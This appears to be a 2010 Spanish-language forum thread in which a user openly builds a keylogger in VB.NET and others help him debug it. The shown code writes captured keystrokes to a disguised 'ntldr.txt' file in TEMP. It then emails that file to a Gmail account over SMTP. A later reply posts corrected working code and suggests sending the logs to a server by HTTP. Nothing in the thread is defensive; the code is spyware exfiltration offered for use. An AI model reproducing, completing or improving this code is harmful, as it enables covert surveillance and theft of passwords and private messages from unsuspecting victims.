[Ayuda]Problema con streamwriter

Iniciado por .:Weeds:., 31 Diciembre 2010, 16:53 PM

0 Miembros y 1 Visitante están viendo este tema.

.:Weeds:.

Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez.
Código (vbnet) [Seleccionar]
MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
MyEscritor.Write(TextBox1.Text)
MyEscritor.Flush()
MyEscritor.Close()
MyEscritor = Nothing


Me tira este error al intentar guardarlo por segunda vez.
IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.


Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!!  :laugh:


[D4N93R]

Primero que todo, Crea un FileStream, se da mejor para eso. Y segundo, mete todo en un try y en el finally haces el Close.

Saludos!

raul338

en lugar de instanciar un StreamWriter usa File.CreateText :)

.:Weeds:.

El problema creo que está en que lo envio por email y se queda en uso el fichero de texto.
Código (vbnet) [Seleccionar]
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo
Código (vbnet) [Seleccionar]
MyMailMessage = nothing

:huh: :huh: :huh:
Saludos y feliz año!


.::IT::.

Hombre subir tu codigo para probarlo haber si te echo una mano!!!!!!
Simplemente .::IT::.

.:Weeds:.

Es algo sencillo pero que no quire funcionar xD
Código (vbnet) [Seleccionar]
Try
'Crear archivo
Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
sw.WriteLine(TextBox1.Text)
sw.Flush()
sw.Close()
'Email
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("lala@gmail.com")
MyMailMessage.To.Add("lala@gmail.com")
MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
MyMailMessage.Body = "Abre el archivo adjunto."
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MyMailMessage = Nothing
SMTPServer = Nothing
Catch ex As SmtpException
End Try


A la segunda vez que lo intento guardar me salta la excepción.


.::IT::.

#6
prueba con lo siguiente(lo puse en un Button):

Código (vbnet) [Seleccionar]

Dim sw As StreamWriter
Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt"
Dim MyMailMessage As MailMessage = New MailMessage()
Dim SMTPServer As SmtpClient

Try
    'esta linea permite insertar texto en un archivo, si no existe lo crea
    sw = File.AppendText(RutaFile)

    'agregar linea del texbox y cerrar el StreamWriter
    sw.WriteLine(Me.TextBox1.Text)
    sw.Close()

    'Email
    MyMailMessage.From = New MailAddress("lala@gmail.com")
    MyMailMessage.To.Add("lala@gmail.com")
    MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
    MyMailMessage.Body = "Abre el archivo adjunto."
    MyMailMessage.Attachments.Add(New Attachment(RutaFile))
    SMTPServer = New SmtpClient("smtp.gmail.com")
    SMTPServer.Port = 587
    SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
    SMTPServer.EnableSsl = True
    SMTPServer.Send(MyMailMessage)

    MessageBox.Show("Ok")
    Me.TextBox1.Text = ""
Catch ex As SmtpException
    MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error)
Catch ex As Exception
    MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
     'aqui esta lo que faltaba
     MyMailMessage.Attachments.Dispose()
End Try


Como podras darte cuenta faltaba liberar los recursos adjuntos con

Código (vbnet) [Seleccionar]
MyMailMessage.Attachments.Dispose()

Nota: Tio yo que tu enviaria la info de ese archivo por http  a un servidor es mas rapido, osea usar formulairos html en un server para poder enviar los datos del usando HttpWebRequest
Saludos!!!.
Simplemente .::IT::.

.:Weeds:.

Gracias como siempre .:IT:., tus codes me salvan la vida xD
Por cierto como que por http? Podrias explicarme eso?

Saludos.